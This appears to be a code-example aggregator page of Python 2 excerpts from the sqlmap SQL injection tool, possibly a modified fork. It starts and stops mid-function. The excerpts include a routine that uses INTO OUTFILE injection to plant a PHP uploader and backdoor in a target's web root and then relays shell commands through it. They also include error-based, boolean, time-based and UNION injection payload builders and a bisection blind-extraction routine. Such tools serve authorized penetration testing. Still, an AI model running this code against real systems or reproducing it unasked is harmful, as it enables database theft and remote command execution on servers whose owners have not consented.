                    # Did we have luck?
                    if result:
                        dataToSessionFile(
                            replaceNewlineTabs(commonValue[index - 1:]))

                        if showEta:
                            etaProgressUpdate(time.time() - charStart,
Ejemplo n.º 33
0
    def osShell(self):
        """
        This method is used to write a PHP agent (cmd.php) on a writable
        remote directory within the web server document root.
        Such agent is written using the INTO OUTFILE MySQL DBMS
        functionality

        @todo: * Add a web application crawling functionality to detect
               all (at least most) web server directories and merge with
               Google results if the target host is a publicly available
               hostname or IP address;
               * Extend to all DBMS using their functionalities (UDF, stored
               procedures, etc) to write files on the system or directly
               execute commands on the system without passing by the agent;
               * Automatically detect the web server available interpreters
               parsing 'Server', 'X-Powered-By' and 'X-AspNet-Version' HTTP
               response headers;
               * Extend the agent to other interpreters rather than only PHP:
               ASP, JSP, CGI (Python, Perl, Ruby, Bash).
        """

        logMsg  = "retrieving web application directories"
        logger.info(logMsg)

        directories = getDirectories()

        if directories:
            logMsg  = "retrieved web server directories "
            logMsg += "'%s'" % ", ".join(d for d in directories)
            logger.info(logMsg)

            message  = "in addition you can provide a list of directories "
            message += "absolute path comma separated that you want sqlmap "
            message += "to try to upload the agent [/var/www/test]: "
            inputDirs = readInput(message, default="/var/www/test")
        else:
            message = "please provide the web server document root [/var/www]: "
            inputDocRoot = readInput(message, default="/var/www")

            if inputDocRoot:
                kb.docRoot = inputDocRoot
            else:
                kb.docRoot = "/var/www"

            message  = "please provide a list of directories absolute path "
            message += "comma separated that you want sqlmap to try to "
            message += "upload the agent [/var/www/test]: "
            inputDirs = readInput(message, default="/var/www/test")

        if inputDirs:
            inputDirs = inputDirs.replace(", ", ",")
            inputDirs = inputDirs.split(",")

            for inputDir in inputDirs:
                directories.add(inputDir)
        else:
            directories.add("/var/www/test")

        logMsg  = "trying to upload the uploader agent"
        logger.info(logMsg)

        directories = list(directories)
        directories.sort()
        uploaded = False

        backdoorName = "backdoor.php"
        backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName)
        uploaderName = "uploader.php"
        uploaderStr  = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName))

        for directory in directories:
            if uploaded:
                break

            # Upload the uploader agent
            uploaderQuery = uploaderStr.replace("WRITABLE_DIR", directory)
            query  = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName)
            query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery

            query = agent.prefixQuery(" %s" % query)
            query = agent.postfixQuery(query)

            payload = agent.payload(newValue=query)
            page = Request.queryPage(payload)

            if kb.docRoot:
                requestDir = directory.replace(kb.docRoot, "")
            else:
                requestDir = directory

            baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
            uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
            page, _ = Request.getPage(url=uploaderUrl, direct=True)

            if "sqlmap backdoor uploader" not in page:
                warnMsg  = "unable to upload the uploader "
                warnMsg += "agent on '%s'" % directory
                logger.warn(warnMsg)

                continue

            logMsg  = "the uploader agent has been successfully uploaded "
            logMsg += "on '%s'" % directory
            logger.info(logMsg)

            # Upload the backdoor through the uploader agent
            multipartParams = {
                                "upload":    "1",
                                "file":      open(backdoorPath, "r"),
                                "uploadDir": directory,
                              }
            uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
            page, _ = Request.getPage(url=uploaderUrl, multipart=multipartParams)

            if "Backdoor uploaded" not in page:
                warnMsg  = "unable to upload the backdoor through "
                warnMsg += "the uploader agent on '%s'" % directory
                logger.warn(warnMsg)

                continue

            uploaded = True

            backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
            logMsg  = "the backdoor has been successfully uploaded on "
            logMsg += "'%s', go with your browser to " % directory
            logMsg += "'%s' and enjoy it!" % backdoorUrl
            logger.info(logMsg)

            message  = "do you want to use the uploaded backdoor as a "
            message += "shell to execute commands right now? [Y/n] "
            shell = readInput(message, default="Y")

            if shell in ("n", "N"):
                continue

            logMsg  = "calling OS shell. To quit type "
            logMsg += "'x' or 'q' and press ENTER"
            logger.info(logMsg)

            autoCompletion(osShell=True)

            while True:
                command = None

                try:
                    command = raw_input("$ ")
                except KeyboardInterrupt:
                    print
                    errMsg = "user aborted"
                    logger.error(errMsg)
                except EOFError:
                    print
                    errMsg = "exit"
                    logger.error(errMsg)
                    break

                if not command:
                    continue

                if command.lower() in ( "x", "q", "exit", "quit" ):
                    break

                cmdUrl = "%s?cmd=%s" % (backdoorUrl, command)
                page, _ = Request.getPage(url=cmdUrl, direct=True)
                output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)

                if output:
                    print output.group(1)
                else:
                    print "No output"
Ejemplo n.º 34
0
def __oneShotErrorUse(expression, field):
    global reqCount

    threadData = getCurrentThreadData()

    retVal = None
    offset = 1

    while True:
        check = "%s(?P<result>.*?)%s" % (kb.misc.start, kb.misc.stop)
        nulledCastedField = agent.nullAndCastField(field)

        if Backend.getIdentifiedDbms() == DBMS.MYSQL:
            nulledCastedField = queries[DBMS.MYSQL].substring.query % (
                nulledCastedField, offset, MYSQL_ERROR_CHUNK_LENGTH)

        # Forge the error-based SQL injection request
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.ERROR].vector
        query = agent.prefixQuery(vector)
        query = agent.suffixQuery(query)
        injExpression = expression.replace(field, nulledCastedField, 1)
        injExpression = unescaper.unescape(injExpression)
        injExpression = query.replace("[QUERY]", injExpression)
        payload = agent.payload(newValue=injExpression)

        # Perform the request
        page, headers = Request.queryPage(payload, content=True)

        reqCount += 1

        # Parse the returned page to get the exact error-based
        # sql injection output
        output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \
                or extractRegexResult(check, listToStrValue(headers.headers \
                if headers else None), re.DOTALL | re.IGNORECASE) \
                or extractRegexResult(check, threadData.lastRedirectMsg[1] \
                if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
                threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)

        if output:
            output = getUnicode(output, kb.pageEncoding)

        if isinstance(output, basestring):
            output = htmlunescape(output).replace("<br>", "\n")

        if Backend.getIdentifiedDbms() == DBMS.MYSQL:
            if offset == 1:
                retVal = output
            else:
                retVal += output if output else ''

            if not (output and len(output) == MYSQL_ERROR_CHUNK_LENGTH):
                break
            else:
                offset += MYSQL_ERROR_CHUNK_LENGTH
        else:
            retVal = output
            break

    retVal = __errorReplaceChars(retVal)

    dataToSessionFile(
        "[%s][%s][%s][%s][%s]\n" %
        (conf.url, kb.injection.place, conf.parameters[kb.injection.place],
         expression, replaceNewlineTabs(retVal)))

    return retVal
Ejemplo n.º 35
0
def checkSqlInjection(payload_file):

    while tests:
        test = tests.pop(0)

        try:
            title = test["title"]
            testType = stype = test["stype"]
            clause = test["clause"]
            unionExtended = False
            """
            # Test for UNION
            if stype == PAYLOAD.TECHNIQUE.UNION: # PAYLOAD.TECHNIQUE.UNION = 3
                # configUnion(test.request.char)

                if "[CHAR]" in title:
                    title = title.replace("[CHAR]", "CHAR")

                elif "[RANDNUM]" in title or "(NULL)" in title:
                    title = title.replace("[RANDNUM]", "random number")

                if test.request.columns == "[COLSTART]-[COLSTOP]":
                    title = title.replace("[COLSTART]", str("1"))
                    title = title.replace("[COLSTOP]", str("5"))

                match = re.search(r"(\d+)-(\d+)", test.request.columns)
                if injection.data and match:
                    lower, upper = int(match.group(1)), int(match.group(2))
                    for _ in (lower, upper):
                        if _ > 1:
                            unionExtended = True
                            test.request.columns = re.sub(r"\b%d\b" % _, str(2 * _), test.request.columns)
                            title = re.sub(r"\b%d\b" % _, str(2 * _), title)
                            test.title = re.sub(r"\b%d\b" % _, str(2 * _), test.title)
            """

            # Skip test if it does not match the same SQL injection clause
            # already identified by another test
            clauseMatch = False
            """
            for clauseTest in clause:
                if injection.clause is not None and clauseTest in injection.clause:
                    clauseMatch = True
                    break
            """

            # Parse test's <request>
            comment = agent.getComment(test["request"])
            """
            try:
                fstPayload = agent.cleanupPayload(test["request"]["payload"], origValue=1)
                print >> payload_file, fstPayload 
            except:
                print "[Error] Int value generate failed" 
            """

            try:
                fstPayload = agent.cleanupPayload(test["request"]["payload"],
                                                  origValue="1")
                # print fstPayload
                print >> payload_file, fstPayload
            except:
                print "[Error] String value generate failed :", test
            """
            try:
                fstPayload = agent.cleanupPayload(test["request"]["payload"], origValue=None)
                print >> payload_file, fstPayload 
            except:
                print "[Error] None value generate failed"
            """

            for boundary in boundaries:

                # Skip boundary if it does not match against test's <clause>
                # Parse test's <clause> and boundary's <clause>
                clauseMatch = False

                for clauseTest in test["clause"]:
                    if clauseTest in boundary["clause"]:
                        clauseMatch = True
                        break

                if test["clause"] != [0] and boundary["clause"] != [
                        0
                ] and not clauseMatch:
                    continue

                # Skip boundary if it does not match against test's <where>
                # Parse test's <where> and boundary's <where>
                whereMatch = False

                for where in test["where"]:
                    if where in boundary["where"]:
                        whereMatch = True
                        break

                if not whereMatch:
                    continue

                # Parse boundary's <prefix>, <suffix> and <ptype>
                prefix = boundary["prefix"] if boundary["prefix"] else ""
                suffix = boundary["suffix"] if boundary["suffix"] else ""

                ptype = boundary["ptype"]

                # For each test's <where>
                for where in test["where"]:
                    templatePayload = None
                    vector = None
                    place = "GET"
                    parameter = "id"
                    value = "1"
                    # print "where -----",where

                    # Threat the parameter original value according to the
                    # test's <where> tag
                    if where == PAYLOAD.WHERE.ORIGINAL:  # 1
                        origValue = "1"
                        templatePayload = agent.payload(place,
                                                        parameter,
                                                        value="",
                                                        newValue=origValue,
                                                        where=where)

                        try:
                            print >> payload_file, templatePayload
                        except:
                            print "[Error] PAYLOAD.WHERE.ORIGINAL generate failed"

                    elif where == PAYLOAD.WHERE.NEGATIVE:  #2
                        # Use different page template than the original
                        # one as we are changing parameters value, which
                        # will likely result in a different content
                        # print "1++++++++++++++++++++++++++++++++++++++++++++++++++++++++++=="
                        kb.data["randomInt"] = str(randomInt(10))
                        kb.data["randomStr"] = str(randomStr(10))
                        # print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++=="

                        _ = int(kb.data["randomInt"][:2])
                        origValue = "%s AND %s=%s" % (value, _, _ + 1)
                        templatePayload = agent.payload(place,
                                                        parameter,
                                                        value="",
                                                        newValue=origValue,
                                                        where=where)
                        try:
                            print >> payload_file, templatePayload
                        except:
                            print "[Error] PAYLOAD.WHERE.NEGATIVE invalidLogical generate failed"

                        origValue = kb.data["randomInt"][:6]
                        templatePayload = agent.payload(place,
                                                        parameter,
                                                        value="",
                                                        newValue=origValue,
                                                        where=where)
                        try:
                            print >> payload_file, templatePayload
                        except:
                            print "[Error] PAYLOAD.WHERE.NEGATIVE invalidBignum generate failed"

                        origValue = kb.data["randomStr"][:6]
                        templatePayload = agent.payload(place,
                                                        parameter,
                                                        value="",
                                                        newValue=origValue,
                                                        where=where)
                        try:
                            print >> payload_file, templatePayload
                        except:
                            print "[Error] PAYLOAD.WHERE.NEGATIVE invalidString generate failed"

                        origValue = "-%s" % kb.data["randomInt"][:4]
                        templatePayload = agent.payload(place,
                                                        parameter,
                                                        value="",
                                                        newValue=origValue,
                                                        where=where)
                        try:
                            print >> payload_file, templatePayload
                        except:
                            print "[Error] PAYLOAD.WHERE.REPLACE generate failed"

                    elif where == PAYLOAD.WHERE.REPLACE:  # 3
                        origValue = ""

                    # Forge request payload by prepending with boundary's
                    # prefix and appending the boundary's suffix to the
                    # test's ' <payload><comment> ' string
                    boundPayload = agent.prefixQuery(fstPayload, prefix, where,
                                                     clause)
                    boundPayload = agent.suffixQuery(boundPayload, comment,
                                                     suffix, where)
                    reqPayload = agent.payload(place,
                                               parameter,
                                               newValue=boundPayload,
                                               where=where)

                    # Perform the test's request and check whether or not the
                    # payload was successful
                    # Parse test's <response>
                    for method, check in test.response.items():
                        check = agent.cleanupPayload(
                            check,
                            origValue=value
                            if place not in (PLACE.URI, PLACE.CUSTOM_POST,
                                             PLACE.CUSTOM_HEADER) else None)

                        # In case of boolean-based blind SQL injection
                        if method == PAYLOAD.METHOD.COMPARISON:
                            # Generate payload used for comparison
                            def genCmpPayload():
                                sndPayload = agent.cleanupPayload(
                                    test.response.comparison,
                                    origValue=value if place
                                    not in (PLACE.URI, PLACE.CUSTOM_POST,
                                            PLACE.CUSTOM_HEADER) else None)

                                # Forge response payload by prepending with
                                # boundary's prefix and appending the boundary's
                                # suffix to the test's ' <payload><comment> '
                                # string
                                boundPayload = agent.prefixQuery(
                                    sndPayload, prefix, where, clause)
                                boundPayload = agent.suffixQuery(
                                    boundPayload, comment, suffix, where)
                                cmpPayload = agent.payload(
                                    place,
                                    parameter,
                                    newValue=boundPayload,
                                    where=where)

                                return cmpPayload

                            # Useful to set kb.matchRatio at first based on
                            # the False response content
                            kb.matchRatio = None
                            kb.negativeLogic = (
                                where == PAYLOAD.WHERE.NEGATIVE)
                            Request.queryPage(genCmpPayload(),
                                              place,
                                              raise404=False)
                            falsePage = threadData.lastComparisonPage or ""

                            # Perform the test's True request
                            trueResult = Request.queryPage(reqPayload,
                                                           place,
                                                           raise404=False)
                            truePage = threadData.lastComparisonPage or ""

                            if trueResult:
                                falseResult = Request.queryPage(
                                    genCmpPayload(), place, raise404=False)

                                # Perform the test's False request
                                if not falseResult:
                                    infoMsg = "%s parameter '%s' seems to be '%s' injectable " % (
                                        place, parameter, title)
                                    logger.info(infoMsg)

                                    injectable = True

                            if not injectable and not any(
                                (conf.string, conf.notString,
                                 conf.regexp)) and kb.pageStable:
                                trueSet = set(extractTextTagContent(truePage))
                                falseSet = set(
                                    extractTextTagContent(falsePage))
                                candidates = filter(
                                    None,
                                    (_.strip() if
                                     _.strip() in (kb.pageTemplate or "") and
                                     _.strip() not in falsePage and _.strip()
                                     not in threadData.lastComparisonHeaders
                                     else None for _ in (trueSet - falseSet)))
                                if candidates:
                                    conf.string = candidates[0]
                                    infoMsg = "%s parameter '%s' seems to be '%s' injectable (with --string=\"%s\")" % (
                                        place, parameter, title,
                                        repr(conf.string).lstrip('u').strip(
                                            "'"))
                                    logger.info(infoMsg)

                                    injectable = True

                        # In case of error-based SQL injection
                        elif method == PAYLOAD.METHOD.GREP:
                            # Perform the test's request and grep the response
                            # body for the test's <grep> regular expression
                            try:
                                page, headers = Request.queryPage(
                                    reqPayload,
                                    place,
                                    content=True,
                                    raise404=False)
                                output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \
                                        or extractRegexResult(check, listToStrValue( \
                                        [headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()] \
                                        if headers else None), re.DOTALL | re.IGNORECASE) \
                                        or extractRegexResult(check, threadData.lastRedirectMsg[1] \
                                        if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
                                        threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)

                                if output:
                                    result = output == "1"

                                    if result:
                                        infoMsg = "%s parameter '%s' is '%s' injectable " % (
                                            place, parameter, title)
                                        logger.info(infoMsg)

                                        injectable = True

                            except SqlmapConnectionException, msg:
                                debugMsg = "problem occurred most likely because the "
                                debugMsg += "server hasn't recovered as expected from the "
                                debugMsg += "error-based payload used ('%s')" % msg
                                logger.debug(debugMsg)

                        # In case of time-based blind or stacked queries
                        # SQL injections
                        elif method == PAYLOAD.METHOD.TIME:
                            # Perform the test's request
                            trueResult = Request.queryPage(
                                reqPayload,
                                place,
                                timeBasedCompare=True,
                                raise404=False)

                            if trueResult:
                                # Confirm test's results
                                trueResult = Request.queryPage(
                                    reqPayload,
                                    place,
                                    timeBasedCompare=True,
                                    raise404=False)

                                if trueResult:
                                    infoMsg = "%s parameter '%s' seems to be '%s' injectable " % (
                                        place, parameter, title)
                                    logger.info(infoMsg)

                                    injectable = True

                        # In case of UNION query SQL injection
                        elif method == PAYLOAD.METHOD.UNION:
                            # Test for UNION injection and set the sample
                            # payload as well as the vector.
                            # NOTE: vector is set to a tuple with 6 elements,
                            # used afterwards by Agent.forgeUnionQuery()
                            # method to forge the UNION query payload

                            configUnion(test.request.char,
                                        test.request.columns)

                            if not Backend.getIdentifiedDbms():
                                if kb.heuristicDbms in (None, UNKNOWN_DBMS):
                                    warnMsg = "using unescaped version of the test "
                                    warnMsg += "because of zero knowledge of the "
                                    warnMsg += "back-end DBMS. You can try to "
                                    warnMsg += "explicitly set it using option '--dbms'"
                                    singleTimeWarnMessage(warnMsg)
                                else:
                                    Backend.forceDbms(kb.heuristicDbms)

                            if unionExtended:
                                infoMsg = "automatically extending ranges "
                                infoMsg += "for UNION query injection technique tests as "
                                infoMsg += "there is at least one other (potential) "
                                infoMsg += "technique found"
                                singleTimeLogMessage(infoMsg)

                            # Test for UNION query SQL injection
                            reqPayload, vector = unionTest(
                                comment, place, parameter, value, prefix,
                                suffix)

                            if isinstance(reqPayload, basestring):
                                infoMsg = "%s parameter '%s' is '%s' injectable" % (
                                    place, parameter, title)
                                logger.info(infoMsg)

                                injectable = True

                                # Overwrite 'where' because it can be set
                                # by unionTest() directly
                                where = vector[6]

                        kb.previousMethod = method

                        if conf.dummy:
                            injectable = False

                    # If the injection test was successful feed the injection
                    # object with the test's details
                    if injectable is True:
                        # Feed with the boundaries details only the first time a
                        # test has been successful
                        if injection.place is None or injection.parameter is None:
                            if place in (PLACE.USER_AGENT, PLACE.REFERER,
                                         PLACE.HOST):
                                injection.parameter = place
                            else:
                                injection.parameter = parameter

                            injection.place = place
                            injection.ptype = ptype
                            injection.prefix = prefix
                            injection.suffix = suffix
                            injection.clause = clause

                        # Feed with test details every time a test is successful
                        if hasattr(test, "details"):
                            for dKey, dValue in test.details.items():
                                if dKey == "dbms":
                                    injection.dbms = dValue
                                    if not isinstance(dValue, list):
                                        Backend.setDbms(dValue)
                                    else:
                                        Backend.forceDbms(dValue[0], True)
                                elif dKey == "dbms_version" and injection.dbms_version is None and not conf.testFilter:
                                    injection.dbms_version = Backend.setVersion(
                                        dValue)
                                elif dKey == "os" and injection.os is None:
                                    injection.os = Backend.setOs(dValue)

                        if vector is None and "vector" in test and test.vector is not None:
                            vector = test.vector

                        injection.data[stype] = AttribDict()
                        injection.data[stype].title = title
                        injection.data[
                            stype].payload = agent.removePayloadDelimiters(
                                reqPayload)
                        injection.data[stype].where = where
                        injection.data[stype].vector = vector
                        injection.data[stype].comment = comment
                        injection.data[stype].templatePayload = templatePayload
                        injection.data[stype].matchRatio = kb.matchRatio

                        injection.conf.textOnly = conf.textOnly
                        injection.conf.titles = conf.titles
                        injection.conf.string = conf.string
                        injection.conf.notString = conf.notString
                        injection.conf.regexp = conf.regexp
                        injection.conf.optimize = conf.optimize

                        if not kb.alerted:
                            if conf.beep:
                                beep()

                            if conf.alert:
                                infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert
                                logger.info(infoMsg)

                                process = execute(conf.alert, shell=True)
                                process.wait()

                            kb.alerted = True

                        # There is no need to perform this test for other
                        # <where> tags
                        break
Ejemplo n.º 36
0
 def __orderByTest(cols):
     query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
     query = agent.suffixQuery(query, suffix=suffix, comment=comment)
     payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
     page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
     return not re.search(r"(warning|error|order by|failed)", page or "", re.I) and comparison(page, headers) or re.search(r"data types cannot be compared or sorted", page or "", re.I)
Ejemplo n.º 37
0
def bisection(payload,
              expression,
              length=None,
              charsetType=None,
              firstChar=None,
              lastChar=None,
              dump=False):
    """
    Bisection algorithm that can be used to perform blind SQL injection
    on an affected host
    """

    abortedFlag = False
    showEta = False
    partialValue = u""
    finalValue = None
    retrievedLength = 0
    asciiTbl = getCharset(charsetType)
    timeBasedCompare = (kb.technique
                        in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
    retVal = hashDBRetrieve(expression, checkConf=True)

    if retVal:
        if PARTIAL_HEX_VALUE_MARKER in retVal:
            retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "")

            if retVal and conf.hexConvert:
                partialValue = retVal
                infoMsg = "resuming partial value: %s" % safecharencode(
                    partialValue)
                logger.info(infoMsg)
        elif PARTIAL_VALUE_MARKER in retVal:
            retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")

            if retVal and not conf.hexConvert:
                partialValue = retVal
                infoMsg = "resuming partial value: %s" % safecharencode(
                    partialValue)
                logger.info(infoMsg)
        else:
            infoMsg = "resumed: %s" % safecharencode(retVal)
            logger.info(infoMsg)

            return 0, retVal

    try:
        # Set kb.partRun in case "common prediction" feature (a.k.a. "good
        # samaritan") is used or the engine is called from the API
        if conf.predictOutput:
            kb.partRun = getPartRun()
        elif hasattr(conf, "api"):
            kb.partRun = getPartRun(alias=False)
        else:
            kb.partRun = None

        if partialValue:
            firstChar = len(partialValue)
        elif "LENGTH(" in expression.upper() or "LEN(" in expression.upper():
            firstChar = 0
        elif dump and conf.firstChar is not None and (isinstance(
                conf.firstChar, int) or (isinstance(conf.firstChar, basestring)
                                         and conf.firstChar.isdigit())):
            firstChar = int(conf.firstChar) - 1
        elif isinstance(firstChar,
                        basestring) and firstChar.isdigit() or isinstance(
                            firstChar, int):
            firstChar = int(firstChar) - 1
        else:
            firstChar = 0

        if "LENGTH(" in expression.upper() or "LEN(" in expression.upper():
            lastChar = 0
        elif dump and conf.lastChar is not None and (isinstance(
                conf.lastChar, int) or (isinstance(conf.lastChar, basestring)
                                        and conf.lastChar.isdigit())):
            lastChar = int(conf.lastChar)
        elif isinstance(lastChar,
                        basestring) and lastChar.isdigit() or isinstance(
                            lastChar, int):
            lastChar = int(lastChar)
        else:
            lastChar = 0

        if Backend.getDbms():
            _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
            nulledCastedField = agent.nullAndCastField(fieldToCastStr)
            expressionReplaced = expression.replace(fieldToCastStr,
                                                    nulledCastedField, 1)
            expressionUnescaped = unescaper.escape(expressionReplaced)
        else:
            expressionUnescaped = unescaper.escape(expression)

        if isinstance(length, basestring) and length.isdigit() or isinstance(
                length, int):
            length = int(length)
        else:
            length = None

        if length == 0:
            return 0, ""

        if length and (lastChar > 0 or firstChar > 0):
            length = min(length, lastChar or length) - firstChar

        if length and length > MAX_BISECTION_LENGTH:
            length = None

        showEta = conf.eta and isinstance(length, int)
        numThreads = min(conf.threads, length)

        if showEta:
            progress = ProgressBar(maxValue=length)

        if timeBasedCompare and conf.threads > 1:
            warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically"
            singleTimeWarnMessage(warnMsg)

        if numThreads > 1:
            if not timeBasedCompare:
                debugMsg = "starting %d thread%s" % (numThreads,
                                                     ("s" if numThreads > 1
                                                      else ""))
                logger.debug(debugMsg)
            else:
                numThreads = 1

        if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput:
            warnMsg = "running in a single-thread mode. Please consider "
            warnMsg += "usage of option '--threads' for faster data retrieval"
            singleTimeWarnMessage(warnMsg)

        if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"):
            if isinstance(length, int) and conf.threads > 1:
                dataToStdout("[%s] [INFO] retrieved: %s" %
                             (time.strftime("%X"),
                              "_" * min(length, conf.progressWidth)))
                dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
            else:
                dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))

        hintlock = threading.Lock()

        def tryHint(idx):
            with hintlock:
                hintValue = kb.hintValue

            if hintValue is not None and len(hintValue) >= idx:
                if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS,
                                                   DBMS.MAXDB, DBMS.DB2):
                    posValue = hintValue[idx - 1]
                else:
                    posValue = ord(hintValue[idx - 1])

                forgedPayload = safeStringFormat(
                    payload.replace(INFERENCE_GREATER_CHAR,
                                    INFERENCE_EQUALS_CHAR),
                    (expressionUnescaped, idx, posValue))
                result = Request.queryPage(forgedPayload,
                                           timeBasedCompare=timeBasedCompare,
                                           raise404=False)
                incrementCounter(kb.technique)

                if result:
                    return hintValue[idx - 1]

            with hintlock:
                kb.hintValue = None

            return None

        def validateChar(idx, value):
            """
            Used in time-based inference (in case that original and retrieved
            value are not equal there will be a deliberate delay).
            """

            if "'%s'" % CHAR_INFERENCE_MARK not in payload:
                forgedPayload = safeStringFormat(
                    payload.replace(INFERENCE_GREATER_CHAR,
                                    INFERENCE_NOT_EQUALS_CHAR),
                    (expressionUnescaped, idx, value))
            else:
                # e.g.: ... > '%c' -> ... > ORD(..)
                markingValue = "'%s'" % CHAR_INFERENCE_MARK
                unescapedCharValue = unescaper.escape(
                    "'%s'" % decodeIntToUnicode(value))
                forgedPayload = safeStringFormat(
                    payload.replace(INFERENCE_GREATER_CHAR,
                                    INFERENCE_NOT_EQUALS_CHAR),
                    (expressionUnescaped, idx)).replace(
                        markingValue, unescapedCharValue)

            result = Request.queryPage(forgedPayload,
                                       timeBasedCompare=timeBasedCompare,
                                       raise404=False)
            incrementCounter(kb.technique)

            return not result

        def getChar(idx,
                    charTbl=None,
                    continuousOrder=True,
                    expand=charsetType is None,
                    shiftTable=None,
                    retried=None):
            """
            continuousOrder means that distance between each two neighbour's
            numerical values is exactly 1
            """

            result = tryHint(idx)

            if result:
                return result

            if charTbl is None:
                charTbl = type(asciiTbl)(asciiTbl)

            originalTbl = type(charTbl)(charTbl)

            if continuousOrder and shiftTable is None:
                # Used for gradual expanding into unicode charspace
                shiftTable = [2, 2, 3, 3, 5, 4]

            if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl:
                charTbl.remove(ord('\n'))

            if not charTbl:
                return None

            elif len(charTbl) == 1:
                forgedPayload = safeStringFormat(
                    payload.replace(INFERENCE_GREATER_CHAR,
                                    INFERENCE_EQUALS_CHAR),
                    (expressionUnescaped, idx, charTbl[0]))
                result = Request.queryPage(forgedPayload,
                                           timeBasedCompare=timeBasedCompare,
                                           raise404=False)
                incrementCounter(kb.technique)

                if result:
                    return decodeIntToUnicode(charTbl[0])
                else:
                    return None

            maxChar = maxValue = charTbl[-1]
            minChar = minValue = charTbl[0]

            while len(charTbl) != 1:
                position = (len(charTbl) >> 1)
                posValue = charTbl[position]

                if "'%s'" % CHAR_INFERENCE_MARK not in payload:
                    forgedPayload = safeStringFormat(
                        payload, (expressionUnescaped, idx, posValue))
                else:
                    # e.g.: ... > '%c' -> ... > ORD(..)
                    markingValue = "'%s'" % CHAR_INFERENCE_MARK
                    unescapedCharValue = unescaper.escape(
                        "'%s'" % decodeIntToUnicode(posValue))
                    forgedPayload = safeStringFormat(
                        payload, (expressionUnescaped, idx)).replace(
                            markingValue, unescapedCharValue)

                result = Request.queryPage(forgedPayload,
                                           timeBasedCompare=timeBasedCompare,
                                           raise404=False)
                incrementCounter(kb.technique)

                if result:
                    minValue = posValue

                    if type(charTbl) != xrange:
                        charTbl = charTbl[position:]
                    else:
                        # xrange() - extended virtual charset used for memory/space optimization
                        charTbl = xrange(charTbl[position], charTbl[-1] + 1)
                else:
                    maxValue = posValue

                    if type(charTbl) != xrange:
                        charTbl = charTbl[:position]
                    else:
                        charTbl = xrange(charTbl[0], charTbl[position])

                if len(charTbl) == 1:
                    if continuousOrder:
                        if maxValue == 1:
                            return None

                        # Going beyond the original charset
                        elif minValue == maxChar:
                            # If the original charTbl was [0,..,127] new one
                            # will be [128,..,(128 << 4) - 1] or from 128 to 2047
                            # and instead of making a HUGE list with all the
                            # elements we use a xrange, which is a virtual
                            # list
                            if expand and shiftTable:
                                charTbl = xrange(
                                    maxChar + 1,
                                    (maxChar + 1) << shiftTable.pop())
                                originalTbl = xrange(charTbl)
                                maxChar = maxValue = charTbl[-1]
                                minChar = minValue = charTbl[0]
                            else:
                                return None
                        else:
                            retVal = minValue + 1

                            if retVal in originalTbl or (
                                    retVal == ord('\n')
                                    and CHAR_INFERENCE_MARK in payload):
                                if timeBasedCompare and not validateChar(
                                        idx, retVal):
                                    if not kb.originalTimeDelay:
                                        kb.originalTimeDelay = conf.timeSec

                                    kb.timeValidCharsRun = 0
                                    if retried < MAX_TIME_REVALIDATION_STEPS:
                                        errMsg = "invalid character detected. retrying.."
                                        logger.error(errMsg)

                                        if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
                                            conf.timeSec += 1
                                            warnMsg = "increasing time delay to %d second%s " % (
                                                conf.timeSec, 's'
                                                if conf.timeSec > 1 else '')
                                            logger.warn(warnMsg)

                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
                                            dbgMsg = "turning off time auto-adjustment mechanism"
                                            logger.debug(dbgMsg)
                                            kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO

                                        return getChar(idx, originalTbl,
                                                       continuousOrder, expand,
                                                       shiftTable,
                                                       (retried or 0) + 1)
                                    else:
                                        errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(
                                            retVal)
                                        logger.error(errMsg)
                                        conf.timeSec = kb.originalTimeDelay
                                        return decodeIntToUnicode(retVal)
                                else:
                                    if timeBasedCompare:
                                        kb.timeValidCharsRun += 1
                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and kb.timeValidCharsRun > VALID_TIME_CHARS_RUN_THRESHOLD:
                                            dbgMsg = "turning back on time auto-adjustment mechanism"
                                            logger.debug(dbgMsg)
                                            kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES

                                    return decodeIntToUnicode(retVal)
                            else:
                                return None
                    else:
                        if minValue == maxChar or maxValue == minChar:
                            return None

                        for index in xrange(len(originalTbl)):
                            if originalTbl[index] == minValue:
                                break

                        # If we are working with non-continuous elements, both minValue and character after
                        # are possible candidates
                        for retVal in (originalTbl[index],
                                       originalTbl[index + 1]):
                            forgedPayload = safeStringFormat(
                                payload.replace(INFERENCE_GREATER_CHAR,
